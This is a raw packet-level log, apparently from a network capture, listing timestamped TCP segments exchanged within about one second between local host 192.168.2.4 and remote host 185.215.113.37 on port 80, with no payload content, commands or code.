Oct 12, 2024 13:17:29.681408882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681431055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681444883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681466103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681474924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681499958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681513071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681534052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681545973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681567907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681581974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681602955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681616068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681637049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681652069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681674004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681701899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681708097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681719065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681734085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681767941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681768894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681796074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681798935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681812048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681833029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681843042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681865931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681878090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681900978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681915998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681935072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681950092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681967020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.681978941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.681999922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682013035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682033062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682044029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682065964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682080030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682101011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682111979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682135105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682147026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682169914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682182074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682203054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682218075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682238102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682250023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682271004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682284117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682306051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682318926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682337999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682352066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682373047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682384014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682405949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682420015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682439089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682454109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682472944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682485104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682507992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682523966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682540894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682554960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682576895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682588100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682610035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682625055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682645082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682657003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682682037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682693958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682715893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682727098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682749987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682765961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682786942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682799101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682821035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682836056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682853937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682868958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682883978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682900906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682915926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682929993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682950974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682962894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.682985067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.682992935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683018923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683037043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683053017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683069944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683088064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683103085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683120966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683137894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683154106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683163881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683187962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683201075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683228016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683238983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683274031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683306932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683361053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683497906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683531046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683547974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683564901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683577061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683598042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683612108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683633089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683645010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683667898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683680058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683701992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683716059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683734894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683748007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683770895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683783054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683804035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683819056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683839083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683851957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683873892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683885098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683907986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683919907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683942080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683952093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.683975935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.683989048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684010983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684022903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684042931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684052944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684077024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684089899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684113979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684123993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684149027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684160948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684184074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684195042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684216022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684230089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684251070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684262037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684286118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684298038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684318066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684333086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684351921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684365988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684386969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684398890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684422016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684432983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684456110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684468985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684488058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684501886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684521914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684533119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684556007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684567928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684590101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684602022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684623003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684634924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684658051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684669971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684690952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684705973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684726000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684741974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684761047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684775114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684797049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684807062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684830904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684844971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684865952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684878111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684901953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684914112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684937000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684948921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.684969902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.684983015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685003996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685013056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685035944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685050964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685070992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685081959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685105085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685122013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685139894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685152054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685173988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685185909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685209036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685219049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685242891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685254097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685277939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685288906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685312033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685324907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685347080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685359001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685381889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685394049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685416937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685427904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685451984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685465097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685484886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685497999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685519934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685530901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685570002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685579062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685604095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685616970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685642958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685659885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685679913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685692072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685714960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685724020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685748100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685756922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685781956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685796022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685817003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685828924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685848951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685863972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685888052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685900927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685923100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685934067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685957909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.685971022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.685992956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686006069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686031103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686038017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686067104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686083078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686103106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686115026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686137915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686150074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686172009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686188936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686207056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686218977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686235905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686250925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686250925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686268091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686278105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686283112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686295033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686300039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686306000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686316013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686323881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686332941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686342955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686348915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686357975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686367035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686376095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686383963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686389923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686400890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686407089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686418056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686419964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686436892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686448097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686453104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686461926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686469078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686480045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686485052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686492920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686501980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686511993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686517954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686530113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686533928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686542034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686549902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686561108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686564922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686573982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686580896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686589956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686598063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686611891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686614037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686630011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686630964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686645031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686645985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686657906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686664104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686676979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686681986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.686691999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686708927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.686722040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.691994905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.692018032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.692047119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.692056894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.692303896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.692334890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.692351103 CEST	80	49730	185.215.113.37	192.168.2.4
